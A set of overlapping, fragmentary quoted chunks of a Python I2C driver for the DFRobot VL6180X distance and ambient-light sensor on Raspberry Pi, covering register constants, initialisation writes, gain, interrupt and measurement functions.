"VL6180X_DIS_INTERRUPT GPIO1 interrupt enabled, INT high by default @n VL6180X_LOW_INTERRUPT GPIO1 interrupt enabled,",
"on interleaved mode ''' def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03])",
"= 0x2A3 # The valid ID of the sensor VL6180X_ID = 0xB4 #",
"VL6180X_RESULT_RANGE_VAL = 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A VL6180X_FIRMWARE_RESULT_SCALER = 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212 VL6180X_INTERLEAVED_MODE_ENABLE",
"[self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) ''' @brief Retrieve ranging data @return return ranging data ,uint",
"@param period_ms Measurement period, in milliseconds ''' def als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550): period_ms =",
"= 4 @n 1.27 times gain: VL6180X_ALS_GAIN_1_25 = 5 @n 1 times gain:",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"(MIT) @author [yangfeng]<<EMAIL>> @version V1.0 @date 2021-02-09 @get from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X \"\"\"",
"VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES",
"0x0C VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D VL6180X_Range_UNDERFLOW_ERR = 0x0E VL6180X_Range_OVERFLOW_ERR = 0x0F # GPIO1 mode",
"data ,uint mm ''' def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value = self.__i2cbus.read_byte(self.__i2c_addr) return value",
"@return return The light intensity,uint lux ''' def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a =",
"= 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040 VL6180X_RESULT_RANGE_STATUS =",
"[self.VL6180X_RESULT_RANGE_VAL]) value = self.__i2cbus.read_byte(self.__i2c_addr) return value ''' @brief Clear ranging interrupt ''' def",
"[self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief",
"Set the ALS gain @param gain the value of gain(range 0-7) @n 20",
"VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE",
"VL6180X_NEW_SAMPLE_READY new sample ready ''' def als_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8,",
":Upper threshold ''' def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief Set ALS",
"mode for ranging @param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable @n",
"= 0x04F VL6180X_RESULT_ALS_VAL = 0x050 VL6180X_RESULT_RANGE_VAL = 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A VL6180X_FIRMWARE_RESULT_SCALER =",
"Obtain measured light data @return return The light intensity,uint lux ''' def als_get_measurement(self):",
"def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief Set ALS Threshold Value @param",
"als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550): period_ms = (period_ms/10) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms])",
"gain: VL6180X_ALS_GAIN_20 = 0 @n 10 times gain: VL6180X_ALS_GAIN_10 = 1 @n 5",
"= 5.0 elif(gain == self.VL6180X_ALS_GAIN_2_5): self.__gain = 2.5 elif(gain == self.VL6180X_ALS_GAIN_1_67): self.__gain =",
"= 0x019 VL6180X_SYSRANGE_THRESH_LOW = 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE =",
"@licence The MIT License (MIT) @author [yangfeng]<<EMAIL>> @version V1.0 @date 2021-02-09 @get from",
"interrupt @n VL6180X_DIS_INTERRUPT GPIO1 interrupt enabled, INT high by default @n VL6180X_LOW_INTERRUPT GPIO1",
"VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F VL6180X_RESULT_ALS_VAL = 0x050 VL6180X_RESULT_RANGE_VAL = 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A VL6180X_FIRMWARE_RESULT_SCALER",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | ( mode << 3",
"self.VL6180X_ALS_GAIN_1): self.__gain = 1.0 elif(gain == self.VL6180X_ALS_GAIN_40): self.__gain = 40 gain =gain |",
"self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief A single range @return return ranging data ,uint",
"@n VL6180X_OUT_OF_WINDOW value < thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY new sample",
"3 @n 1.57 times gain: VL6180X_ALS_GAIN_1_67 = 4 @n 1.27 times gain: VL6180X_ALS_GAIN_1_25",
"gain: VL6180X_ALS_GAIN_2_5 = 3 @n 1.57 times gain: VL6180X_ALS_GAIN_1_67 = 4 @n 1.27",
"= 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017 VL6180X_SYSRANGE_START = 0x018 VL6180X_SYSRANGE_THRESH_HIGH =",
"set_als_threshold_value(self,threshold_l,threshold_h): value_l = int((threshold_l * self.__gain)/0.32) value_h = int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8,",
"times gain: VL6180X_ALS_GAIN_2_5 = 3 @n 1.57 times gain: VL6180X_ALS_GAIN_1_67 = 4 @n",
"(http://www.dfrobot.com) @licence The MIT License (MIT) @author [yangfeng]<<EMAIL>> @version V1.0 @date 2021-02-09 @get",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"0x03F VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040 VL6180X_RESULT_RANGE_STATUS = 0x04D VL6180X_RESULT_ALS_STATUS = 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F",
"= 4 ''' @brief Module init @param bus Set to IICBus @param addr",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief A single range @return return ranging data ,uint mm",
"selection VL6180X_DIS_INTERRUPT = 0 VL6180X_HIGH_INTERRUPT = 1 VL6180X_LOW_INTERRUPT = 2 # als/range interrupt",
"mode for the ambient light @param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt",
"light intensity,uint lux ''' def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement() ''' @brief Obtain",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"Class infrastructure, implementation of underlying methods @copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com)",
"''' @brief Single measurement of ambient light @return return The light intensity,uint lux",
"VL6180X_OUT_OF_WINDOW = 3 VL6180X_NEW_SAMPLE_READY = 4 ''' @brief Module init @param bus Set",
"< thresh_low @n VL6180X_LEVEL_HIGH value > thresh_high @n VL6180X_OUT_OF_WINDOW value < thresh_low OR",
"3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Enable continuous ranging mode ''' def range_start_continuous_mode(self):",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"1 VL6180X_LOW_INTERRUPT = 2 # als/range interrupt mode selection VL6180X_INT_DISABLE = 0 VL6180X_LEVEL_LOW",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"valid ID of the sensor VL6180X_ID = 0xB4 # 8 gain modes for",
"| mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Configure the interrupt mode for the ambient",
"[self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Configure the interrupt mode for the ambient light @param mode",
"@param thresholdH :Upper threshold ''' def set_als_threshold_value(self,threshold_l,threshold_h): value_l = int((threshold_l * self.__gain)/0.32) value_h",
"@brief Gets the interrupt state of the measured light intensity @return return status",
"begin(self): device_id = self.__get_device_id() if device_id != self.VL6180X_ID: return False self.__init() return True",
"0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040 VL6180X_RESULT_RANGE_STATUS = 0x04D",
"Co.Ltd (http://www.dfrobot.com) @licence The MIT License (MIT) @author [yangfeng]<<EMAIL>> @version V1.0 @date 2021-02-09",
"als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a = self.__i2cbus.read_byte(self.__i2c_addr) b = self.__i2cbus.read_byte(self.__i2c_addr) value = (a<<8) |",
"[self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief Clear the ambient light interrupt ''' def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2])",
"addr ''' @brief Initialize the sensor configuration ''' def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset",
"self.__gain)/0.32) value_h = int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief Set the",
"ranging interrupt ''' def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief Clear the ambient light",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00])",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Enable continuous ranging mode ''' def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01])",
"VL6180X_DIS_INTERRUPT disabled interrupt @n VL6180X_DIS_INTERRUPT GPIO1 interrupt enabled, INT high by default @n",
"period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief turn on interleaved mode ''' def",
"0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C",
"mode << 3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Enable continuous ranging mode '''",
"@brief Initialize sensor @param CE The pin number attached to the CE @return",
"VL6180X_LOW_INTERRUPT = 2 # als/range interrupt mode selection VL6180X_INT_DISABLE = 0 VL6180X_LEVEL_LOW =",
"= 6 @n 40 times gain: VL6180X_ALS_GAIN_40 = 7 @return true :Set up",
"2021-02-09 @get from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import smbus import time import RPi.GPIO",
"@return return ranging data ,uint mm ''' def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value =",
"thresholdH :Upper threshold ''' def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief Set",
"VL6180X_HIGH_INTERRUPT = 1 VL6180X_LOW_INTERRUPT = 2 # als/range interrupt mode selection VL6180X_INT_DISABLE =",
"[yangfeng]<<EMAIL>> @version V1.0 @date 2021-02-09 @get from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import smbus",
"value > thresh_high @n VL6180X_OUT_OF_WINDOW value < thresh_low OR value > thresh_high @n",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) '''",
"@brief Clear the ambient light interrupt ''' def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief",
"= 0 VL6180X_HIGH_INTERRUPT = 1 VL6180X_LOW_INTERRUPT = 2 # als/range interrupt mode selection",
"number attached to the CE @return return True succeed ;return False failed. '''",
"@brief Set Range Threshold Value @param thresholdL :Lower Threshold @param thresholdH :Upper threshold",
"addr Set to IIC addr ''' def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus = 1): self.__i2cbus =",
"= self.__i2cbus.read_byte(self.__i2c_addr) value = value | ( mode << 3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value])",
"254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief turn on interleaved mode ''' def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8,",
"@brief Retrieve ranging data @return return ranging data ,uint mm ''' def range_get_measurement(self):",
"INT pin and enable the GPIO1 interrupt function @param mode Enable interrupt mode",
"VL6180X_ALS_GAIN_40 = 7 @return true :Set up the success, false :Setup failed '''",
"1 @n 5 times gain: VL6180X_ALS_GAIN_5 = 2 @n 2.5 times gain: VL6180X_ALS_GAIN_2_5",
"self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | mode",
"@return Authentication information ''' def __get_device_id(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_IDENTIFICATION_MODEL_ID>>8, [self.VL6180X_IDENTIFICATION_MODEL_ID]) id = self.__i2cbus.read_byte(self.__i2c_addr) return id",
"''' @brief Gets validation information for range data @return Authentication information ''' def",
"> thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def als_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY):",
"result ''' @brief set IIC addr @param addr The IIC address to be",
"set_als_gain(self,gain): if(gain>7): return False if(gain == self.VL6180X_ALS_GAIN_20): self.__gain = 20 elif(gain == self.VL6180X_ALS_GAIN_10):",
"self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result ''' @brief set IIC addr @param addr The IIC address",
"= 4 VL6180X_ALS_GAIN_1_25 = 5 VL6180X_ALS_GAIN_1 = 6 VL6180X_ALS_GAIN_40 = 7 # The",
"by default @n VL6180X_LOW_INTERRUPT GPIO1 interrupt enabled, INT low by default ''' def",
"0 VL6180X_HIGH_INTERRUPT = 1 VL6180X_LOW_INTERRUPT = 2 # als/range interrupt mode selection VL6180X_INT_DISABLE",
"@n VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW value < thresh_low @n VL6180X_LEVEL_HIGH value >",
"start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief Gets",
"VL6180X_NEW_SAMPLE_READY :new sample ready ''' def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result",
"= self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result ''' @brief set IIC addr @param addr The IIC",
"interrupt mode selection VL6180X_INT_DISABLE = 0 VL6180X_LEVEL_LOW = 1 VL6180X_LEVEL_HIGH = 2 VL6180X_OUT_OF_WINDOW",
"default @n VL6180X_LOW_INTERRUPT GPIO1 interrupt enabled, INT low by default ''' def set_interrupt(self,mode):",
"= ( period_ms / 10 ) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms])",
"''' @brief Set Range Threshold Value @param thresholdL :Lower Threshold @param thresholdH :Upper",
"@n 1.57 times gain: VL6180X_ALS_GAIN_1_67 = 4 @n 1.27 times gain: VL6180X_ALS_GAIN_1_25 =",
"function @param mode Enable interrupt mode @n VL6180X_DIS_INTERRUPT disabled interrupt @n VL6180X_DIS_INTERRUPT GPIO1",
"self.__i2cbus.read_byte(self.__i2c_addr) value = value | ( mode << 3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) '''",
"if(period_ms < 2550): period_ms = ( period_ms / 10 ) -1 else: period_ms",
"= 0x08 VL6180X_MAX_S_N_ERR = 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D VL6180X_Range_UNDERFLOW_ERR =",
"self.__i2cbus.read_byte(self.__i2c_addr) value = value | mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Configure the interrupt",
"value = self.__i2cbus.read_byte(self.__i2c_addr) return value ''' @brief Clear ranging interrupt ''' def clear_range_interrupt(self):",
"[0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF])",
"2.5 times gain: VL6180X_ALS_GAIN_2_5 = 3 @n 1.57 times gain: VL6180X_ALS_GAIN_1_67 = 4",
